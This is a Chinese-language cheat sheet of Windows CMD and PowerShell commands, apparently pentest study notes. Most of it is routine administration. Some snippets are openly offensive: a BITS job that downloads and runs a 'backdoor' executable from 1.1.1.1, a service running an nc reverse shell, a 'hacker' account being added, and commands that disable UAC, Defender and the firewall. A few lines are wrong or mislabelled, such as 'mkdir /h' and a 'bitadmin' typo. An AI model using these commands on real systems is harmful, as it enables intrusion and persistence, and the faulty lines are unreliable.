跳转至

Windows 基础

CMD 命令

PowerShell
# 查看文本文件
type a.txt
more < a.txt:adsname

# 查看目录
dir /a
dir /r

# 筛选字符串(不区分大小写)
findstr -i "Pass"

重要目录

PowerShell
# 程序目录
C:\Program Files
C:\Program Files(x86)

# 用户主目录
C:\Users
C:\Users\Public

# 系统目录
C:\Windows\System32

环境变量

PowerShell
1
2
3
4
5
# 查看所有环境变量
set

# 查看当前用户名
echo %username%

软硬链接

PowerShell
1
2
3
4
5
# 创建符号链接
mklink softlink file.txt

# 创建硬链接
mkdir /h hardlink file.txt

搜索文件

PowerShell
# 递归查找文件
dir /s /b file.txt
dir /s /b *.exe /p

# 结合findstr搜索内容
tree /F | findstr "word"

# 遍历目录查找notepad.exe
forfiles /P C:\ /S /M notepad.exe /c "cmd /c echo @PATH"

# PowerShell递归搜索文件
Get-ChildItem -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.FullName -match "word" } | Select-Object FullName

账号管理

PowerShell
# 查看当前用户信息
whoami /user
whoami /priv
whoami /all

# 查看系统账号
wmic sysaccount

# 查看用户账号
wmic useraccount

# 查看当前登录账号
wmic NETLOGIN get NAME
query user

# 列出本地账号
net user

# 添加本地账号
net user <name> <password> /add

# 列出本地组账号
net localgroup

# 将账号加入管理员组
net localgroup administrators <name> /add

Runas

PowerShell
1
2
3
4
5
# 以管理员身份运行记事本
runas /user:administrator "notepad"

# PowerShell以管理员身份启动CMD
Start-Process cmd.exe -Verb RunAs

文件系统权限

PowerShell
# 查看文件ACL
icacls file.txt

# 授予用户对文件的完全控制权限
icacls file.txt /grant user:(OI)(CI)(F)

# 递归授予Everyone对目录的完全控制权限
icacls "D:\test" /grant Everyone:(OI)(CI)(F) /T

# 检查用户对C:\的访问权限
accesschk.exe "users" C:\

查看进程

PowerShell
# 列出所有进程
tasklist
tasklist /svc

# 过滤出SYSTEM用户且正在运行的进程
tasklist /fi "USERNAME eq NT AUTHORITY\SYSTEM" /fi "STATUS eq running"

# Sysinternals工具查看进程
listdlls -u
listdlls notepad.exe
listdlls -d a.dll

BITS 服务

PowerShell
# 列出所有BITS任务
bitsadmin /list /allusers /verbose

# 创建BITS任务
bitsadmin /create backdoor

# 添加下载文件任务
bitsadmin /addfile backdoor "http://1.1.1.1/backdoor.exe" "C:\tmp\backdoor.exe"

# 设置任务完成后执行命令
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\backdoor.exe NUL

# 设置任务延迟60秒后执行
bitadmin /SetMinRetryDelay "backdoor" 60

# 恢复执行任务
bitsadmin /resume backdoor

注册表操作

PowerShell
# 禁用UAC
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

# 开启RDP
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

# 禁用RestrictedAdmin模式
REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

# 关闭Defender
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

# 强制更新组策略
gpupdate /force

计划任务

PowerShell
# 查看所有计划任务
schtasks

# 列出指定任务
schtasks /query /TN <name> /fo list

# 以CSV格式输出所有任务
schtasks /query /FO CSV

# 查找已禁用的任务
schtasks /query /FO CSV | findstr -v "已禁用"

# 查找已禁用、N/A和模式相关的任务
schtasks /query /FO CSV | findstr -v "已禁用" | findstr -v "N/A" | findstr -v "模式"

防火墙

PowerShell
1
2
3
4
5
6
7
8
# 查看所有防火墙规则
netsh advfirewall show allprofiles

# 关闭所有防火墙配置文件
netsh advfirewall set allprofiles state off

# 添加防火墙规则,阻止指定IP入站
netsh advfirewall firewall add rule name="Block OffSec" remoteip=192.124.249.5 dir=out enable=yes action=block

服务管理

PowerShell
# 查看服务
tasklist /svc
sc query dhcp
sc qc dhcp

# PowerShell查看所有运行中的服务
Get-WmiObject Win32_Service | Where-Object { $_.State -eq 'Running' } | Select-Object Name, ProcessId, PathName, StartMode, State, StartName | Format-Table -AutoSize

# 启动/停止服务
sc start dhcp
sc stop dhcp

# 设置服务为自动启动
sc config dhcp start=auto

# 创建恶意服务
sc create backdoor binpath="c:\users\public\nc.exe 1.1.1.1 1234 -e cmd"
sc config backdoor start=auto
sc config backdoor binpath="net user hacker /add"
sc start backdoor

# PowerShell 脚本:查找可启动/停止的服务
$services = Get-Service
$controllableServices = @()

foreach ($service in $services) {
    try {
        if ($service.Status -eq 'Stopped') {
            Start-Service -Name $service.Name -ErrorAction Stop
        }
        if ($service.Status -eq 'Running') {
            Stop-Service -Name $service -ErrorAction Stop
        }
        $controllableServices += $service.Name
    } catch {
        # 忽略无权限的服务
    }
}
$controllableServices

# PowerShell 脚本:查找可修改启动类型的服务
$services = Get-Service
$modifiableServices = @()

foreach ($service in $services) {
    try {
        Set-Service -Name $service.Name -StartupType $service.StartType -ErrorAction Stop | Out-Null
        $modifiableServices += $service.Name
    } catch {
        # 忽略无权限的服务
    }
}
$modifiableServices

网络

PowerShell
# 查看网络配置
ipconfig /all
ipconfig /displaydns

# 查看网络连接
netstat -nao

# 查看ARP缓存
arp -a

# 查看路由表
route print

# 查看NetBIOS信息
nbtstat /n

# DNS查询
nslookup

# 查看共享
net share

# 连接远程共享
net use \\1.1.1.1\public

关键文件

PowerShell
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\conf\extra\httpd-vhosts.conf
C:\inetpub\logs\LogFiles
C:\Windows\System32\config\AppEvent.Evt
C:\Windows\System32\config\SecEvent.Evt
C:\Windows\System32\config\SysEvent.Evt
C:\inetpub\logs\LogFiles\W3SVC1\u_exMMDDYY.log
C:\Windows\System32\con\srv.sys
C:\Windows\System32\WindowsPowerShell\v1.0\PSReadLine\ConsoleHost_history.txt